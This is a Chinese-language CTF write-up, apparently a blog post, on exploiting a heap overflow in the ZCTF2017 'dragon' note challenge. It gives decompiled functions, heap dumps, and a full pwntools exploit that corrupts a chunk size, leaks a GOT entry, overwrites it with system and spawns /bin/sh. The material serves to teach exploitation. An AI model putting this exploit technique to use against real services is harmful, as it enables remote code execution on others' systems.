堆溢出之unlink的利用-2

堆溢出之unlink的利用-2

最近在堆溢出方面的学习一直没有停,感觉有些知识还只是表面上的肤浅了解,没有真正的了解清楚一些本质的原理,决定通过ZCTF2017的一道堆溢出的pwn来加深自己对这方面知识的理解和运用。

题目链接我就不贴了,github上面有很多资源。

直接分析程序吧

程序是note类型的题目,多数的堆溢出都是通过这种方式考察

puts("1. add note");
puts("2. edit note");
puts("3. delete note");
puts("4. list note");
return printf(">> ");

最关键的两个函数就是add note和edit note两个函数。

__int64 sub_400A28()
{
  v5 = *MK_FP(__FS__, 40LL);
  if ( dword_6020CC > 4 )
  {
    puts("you've got enough notes.");
  }
  else
  {
    v3 = malloc(0x18uLL);
    printf("please input note name size: ");
    __isoc99_scanf("%ld", &size);
    getchar();
    if ( (signed __int64)size <= 0x20 )
    {
      *v3 = malloc(size);
      printf("please input note name: ");
      sub_400946((void *)*v3, size);
      printf("please input note content: ");
      sub_400946(&s, 32);
      v3[2] = strdup(&s);
      for ( i = 0; i <= 4; ++i )
      {
        if ( !qword_6020E0[i] )
        {
          *((_DWORD *)v3 + 2) = i;
          qword_6020E0[i] = (__int64)v3;
          break;
        }
      }
      ++dword_6020CC;
      puts("add note success.");
    }
  }
  return *MK_FP(__FS__, 40LL) ^ v5;
}

这里需要注意两个地方,首先当你输入的size大于32后,函数直接返回了。
另一个地方是strdup这个函数,strdup的功能等价于先调用strlen计算输入字符串的长度,然后调用malloc申请对应大小的内存,最后再调用strcpy拷贝字符。

__int64 sub_400B87()
{
  v3 = *MK_FP(__FS__, 40LL);
  printf("input note id: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= 0 && v1 <= 4 && qword_6020E0[v1] )
  {
    v2 = qword_6020E0[v1];
    printf("please input new note content: ", &v1);
    sub_400946(*(void **)(v2 + 16), 32);
  }
  else
  {
    puts("wrong id.");
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

edit函数就是漏洞所在,我们可以申请的最小大小是16个字节,而这里可以编辑的大小是32个字节,也就是说如果我们新建的content的大小是16,最多我们可以造成16个字节的溢出。

首先建立三个新的note

add_note(0x20, 'AAAA', 'AAAA')
add_note(0x20, 'AAAA', 'A'*0x18)
add_note(0x20, 'AAAA', 'A'*0x18)

新建之后可以查看一下结构,如下:

--------------------note0-------------------------
struct:(结构控制块)
控制块的size大小为堆块大小0x18+0x8大小的size字段长度=0x20
至于后面的0x1是后面的表示位。第二行存储着name块的地址和编号
第三行存储着content块的地址和大小,size=数据大小0x20+堆头
大小0x10=0x30
0x1c69000:    0x0000000000000000    0x0000000000000021
0x1c69010:    0x0000000001c69030    0x0000000000000000
0x1c69020:    0x0000000001c69060    0x0000000000000031
name:(存放name的块)
0x1c69030:    0x0000000041414141    0x0000000000000000
0x1c69040:    0x0000000000000000    0x0000000000000000
content:(存放content的块)
0x1c69050:    0x0000000000000000    0x0000000000000021
0x1c69060:    0x0000000041414141    0x0000000000000000
--------------------note1-------------------------
struct:(结构控制块)
0x1c69070:    0x0000000000000000    0x0000000000000021
0x1c69080:    0x0000000001c690a0    0x0000000000000001
0x1c69090:    0x0000000001c690d0    0x0000000000000031
name:(存放name的块)
0x1c690a0:    0x0000000041414141    0x0000000000000000
0x1c690b0:    0x0000000000000000    0x0000000000000000
0x1c690c0:    0x0000000000000000    0x0000000000000031
content:(存放content的块)
0x1c690d0:    0x4141414141414141    0x4141414141414141
0x1c690e0:    0x4141414141414141    0x0000000000000000
--------------------note2-------------------------
struct:(结构控制块)
0x1c690f0:    0x0000000000000000    0x0000000000000021
0x1c69100:    0x0000000001c69120    0x0000000000000002
0x1c69110:    0x0000000001c69150    0x0000000000000031
name:(存放name的块)
0x1c69120:    0x0000000041414141    0x0000000000000000
0x1c69130:    0x0000000000000000    0x0000000000000000
0x1c69140:    0x0000000000000000    0x0000000000000031
content:(存放content的块)
0x1c69150:    0x4141414141414141    0x4141414141414141
0x1c69160:    0x4141414141414141    0x0000000000000000

接下来要做的就是伪造一个堆块,然后覆盖到下一个note1的struct.size

edit_note(0, ‘B’*0x18 + p64(d1))即可控制note1.struct的size

--------------------note0-------------------------
0x1c69000:    0x0000000000000000    0x0000000000000021
0x1c69010:    0x0000000001c69030    0x0000000000000000
0x1c69020:    0x0000000001c69060    0x0000000000000031
name:
0x1c69030:    0x0000000041414141    0x0000000000000000
0x1c69040:    0x0000000000000000    0x0000000000000000
content:
0x1c69050:    0x0000000000000000    0x0000000000000021
0x1c69060:    0x4242424242424242    0x4242424242424242
--------------------note1-------------------------
struct:
0x1c69070:    0x4242424242424242    0x00000000000000d1
0x1c69080:    0x0000000001c690a0    0x0000000000000001
0x1c69090:    0x0000000001c690d0    0x0000000000000031
name:
0x1c690a0:    0x0000000041414141    0x0000000000000000
0x1c690b0:    0x0000000000000000    0x0000000000000000
0x1c690c0:    0x0000000000000000    0x0000000000000031
content:
0x1c690d0:    0x4141414141414141    0x4141414141414141
0x1c690e0:    0x4141414141414141    0x0000000000000000

接着释放note1,delete(1),free有两个操作,

free(note1.content)    # chunk 0x30
free(note1.struct)     # chunk 0xd0

--------------------note0-------------------------
0x1c69000:    0x0000000000000000    0x0000000000000021
0x1c69010:    0x0000000001c69030    0x0000000000000000
0x1c69020:    0x0000000001c69060    0x0000000000000031
name:
0x1c69030:    0x0000000041414141    0x0000000000000000
0x1c69040:    0x0000000000000000    0x0000000000000000
content:
0x1c69050:    0x0000000000000000    0x0000000000000021
0x1c69060:    0x4242424242424242    0x4242424242424242
--------------------note1-------------------------
struct:
0x1c69070:    0x4242424242424242    0x00000000000000d1
0x1c69080:    0x00007fc09a5aab78    0x00007fc09a5aab78
0x1c69090:    0x0000000001c690d0    0x0000000000000031
name:
0x1c690a0:    0x0000000041414141    0x0000000000000000
0x1c690b0:    0x0000000000000000    0x0000000000000000
0x1c690c0:    0x0000000000000000    0x0000000000000031
content:
0x1c690d0:    0x0000000000000000    0x4141414141414141
0x1c690e0:    0x4141414141414141    0x0000000000000000

add(0x20, ‘CCCC’, ‘C’*0x18),申请新的空间分配到0x1c690e0,

--------------------note0-------------------------
0x1c69000:    0x0000000000000000    0x0000000000000021
0x1c69010:    0x0000000001c69030    0x0000000000000000
0x1c69020:    0x0000000001c69060    0x0000000000000031
name:
0x1c69030:    0x0000000041414141    0x0000000000000000
0x1c69040:    0x0000000000000000    0x0000000000000000
content:
0x1c69050:    0x0000000000000000    0x0000000000000021
0x1c69060:    0x4242424242424242    0x4242424242424242
--------------------note1-------------------------
struct:
0x1c69070:    0x4242424242424242    0x0000000000000021
0x1c69080:    0x0000000000e480d0    0x00007f1100000001
0x1c69090:    0x0000000000e480a0    0x0000000000000031
name:
0x1c690a0:    0x4343434343434343    0x4343434343434343
0x1c690b0:    0x4343434343434343    0x0000000000000000
0x1c690c0:    0x0000000000000000    0x0000000000000081
content:
0x1c690d0:    0x00007f116231eb78    0x00007f116231eb78
0x1c690e0:    0x4141414141414141    0x0000000000000000
--------------------note2-------------------------
struct:
0x1c690f0:    0x0000000000000000    0x0000000000000021
0x1c69100:    0x0000000001c69120    0x0000000000000002
0x1c69110:    0x0000000001c69150    0x0000000000000031
name:
0x1c69120:    0x0000000041414141    0x0000000000000000
0x1c69130:    0x0000000000000000    0x0000000000000000
0x1c69140:    0x0000000000000080    0x0000000000000030
content:
0x1c69150:    0x4141414141414141    0x4141414141414141
0x1c69160:    0x4141414141414141    0x0000000000000000

add(0x10, ‘DDDD’, p64(strlen_got)+’D’*0x10),可以利用fastbin特性,恰好覆盖到想要的地址,并且利用content对想要的地址覆盖,然后leak

--------------------note0-------------------------
0x1c69000:    0x0000000000000000    0x0000000000000021
0x1c69010:    0x0000000001c69030    0x0000000000000000
0x1c69020:    0x0000000001c69060    0x0000000000000031
name:
0x1c69030:    0x0000000041414141    0x0000000000000000
0x1c69040:    0x0000000000000000    0x0000000000000000
content:
0x1c69050:    0x0000000000000000    0x0000000000000021
0x1c69060:    0x4242424242424242    0x4242424242424242
--------------------note1-------------------------
struct:
0x1c69070:    0x4242424242424242    0x0000000000000021
0x1c69080:    0x0000000000e480d0    0x00007f1100000001
0x1c69090:    0x0000000000e480a0    0x0000000000000031
name:
0x1c690a0:    0x4343434343434343    0x4343434343434343
0x1c690b0:    0x4343434343434343    0x0000000000000000
0x1c690c0:    0x0000000000000000    0x0000000000000021
content:
0x1c690d0:    0x00000000019840f0    0x00007f1500000003
0x1c690e0:    0x0000000001984110    0x0000000000000021
--------------------note2-------------------------
struct:
0x1c690f0:    0x00007f0044444444    0x00007f1593adfb78
0x1c69100:    0x0000000001984120    0x0000000000000021
0x1c69110:    0x00007f1500602028    0x00007f1593adfba8
name:
0x1c69120:    0x0000000041414141    0x0000000000000021
0x1c69130:    0x00007f1593adfb78    0x00007f1593adfb78
0x1c69140:    0x0000000000000020    0x0000000000000030
content:
0x1c69150:    0x4141414141414141    0x4141414141414141
0x1c69160:    0x4141414141414141    0x0000000000000000

edit(3, p64(strlen_got))

--------------------note0-------------------------
0x1c69000:    0x0000000000000000    0x0000000000000021
0x1c69010:    0x0000000001c69030    0x0000000000000000
0x1c69020:    0x0000000001c69060    0x0000000000000031
name:
0x1c69030:    0x0000000041414141    0x0000000000000000
0x1c69040:    0x0000000000000000    0x0000000000000000
content:
0x1c69050:    0x0000000000000000    0x0000000000000021
0x1c69060:    0x4242424242424242    0x4242424242424242
--------------------note1-------------------------
struct:
0x1c69070:    0x4242424242424242    0x0000000000000021
0x1c69080:    0x0000000000e480d0    0x00007f1100000001
0x1c69090:    0x0000000000e480a0    0x0000000000000031
name:
0x1c690a0:    0x4343434343434343    0x4343434343434343
0x1c690b0:    0x4343434343434343    0x0000000000000000
0x1c690c0:    0x0000000000000000    0x0000000000000021
content:
0x1c690d0:    0x00000000019840f0    0x00007f1500000003
0x1c690e0:    0x0000000001984110    0x0000000000000021
--------------------note2-------------------------
struct:
0x1c690f0:    0x00007f0044444444    0x00007f1593adfb78
0x1c69100:    0x0000000001984120    0x0000000000000021
0x1c69110:    0x0000000000602028    0x00007f1593adfba8
name:
0x1c69120:    0x0000000041414141    0x0000000000000021
0x1c69130:    0x00007f1593adfb78    0x00007f1593adfb78
0x1c69140:    0x0000000000000020    0x0000000000000030
content:
0x1c69150:    0x4141414141414141    0x4141414141414141
0x1c69160:    0x4141414141414141    0x0000000000000000

edit(2, p64(system_addr))

--------------------note0-------------------------
0x1c69000:    0x0000000000000000    0x0000000000000021
0x1c69010:    0x0000000001c69030    0x0000000000000000
0x1c69020:    0x0000000001c69060    0x0000000000000031
name:
0x1c69030:    0x0000000041414141    0x0000000000000000
0x1c69040:    0x0000000000000000    0x0000000000000000
content:
0x1c69050:    0x0000000000000000    0x0000000000000021
0x1c69060:    0x4242424242424242    0x4242424242424242
--------------------note1-------------------------
struct:
0x1c69070:    0x4242424242424242    0x0000000000000021
0x1c69080:    0x0000000000e480d0    0x00007f1100000001
0x1c69090:    0x0000000000e480a0    0x0000000000000031
name:
0x1c690a0:    0x4343434343434343    0x4343434343434343
0x1c690b0:    0x4343434343434343    0x0000000000000000
0x1c690c0:    0x0000000000000000    0x0000000000000021
content:
0x1c690d0:    0x00000000019840f0    0x00007f1500000003
0x1c690e0:    0x0000000001984110    0x0000000000000021
--------------------note2-------------------------
struct:
0x1c690f0:    0x00007f0044444444    0x00007f1593adfb78
0x1c69100:    0x0000000001984120    0x0000000000000021
0x1c69110:    0x0000000000602028    0x00007f1593adfba8
name:
0x1c69120:    0x0000000041414141    0x0000000000000021
0x1c69130:    0x00007f1593adfb78    0x00007f1593adfb78
0x1c69140:    0x0000000000000020    0x0000000000000030
content:
0x1c69150:    0x4141414141414141    0x4141414141414141
0x1c69160:    0x4141414141414141    0x0000000000000000

完整exp:

from pwn import *

   #r = remote('58.213.63.30', 11501) 
r = process("./dragon")

def add(size, name, content):
    r.recvuntil('>>')
    r.sendline('1')
    r.recvuntil(':')
    r.sendline(str(size))
    r.recvuntil(':')
    r.sendline(name)
    r.recvuntil(':')
    r.sendline(content)

def edit(id, content):
    r.recvuntil('>>')
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(id))
    r.recvuntil(':')
    r.write(content)

def show(id):
    r.recvuntil('>>')
    r.sendline('4')
    r.recvuntil(':')
    r.sendline(str(id))

def delete(id):
    r.recvuntil('>>')
    r.sendline('3')
    r.recvuntil(':')
    r.sendline(str(id))


add(0x20, 'AAAA', 'AAAA')
add(0x20, 'AAAA', 'A'*0x18)
add(0x20, 'AAAA', 'A'*0x18)
#gdb.attach(r,"b *0x400CBF")
edit(0, 'A'*0x18+p64(0xd1)) # overwrite the note1 size, original size is 0x20
delete(1)
add(0x20, 'AAAA', 'A'*0x18) 
strlen_got = 0x602028
add(0x10, 'AAAA', p64(strlen_got)+'d'*0x10)###these two add make the area reuse
edit(3, p64(strlen_got)) #here is note2 content ptr point. reuse the address
show(2)
r.recvuntil('content: ')
strlen_addr = u64(r.readline()[:-1].ljust(8, '\x00'))
print "[*] strlen addr:{0}".format(hex(strlen_addr))
#libc = ELF("./libc-2.19.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = strlen_addr - libc.symbols['strlen']
system_addr = libc_base + libc.symbols['system'] 
edit(2, p64(system_addr))

edit(0, '/bin/sh\x00')
r.interactive()
文章目录
  1. 1. 堆溢出之unlink的利用-2
|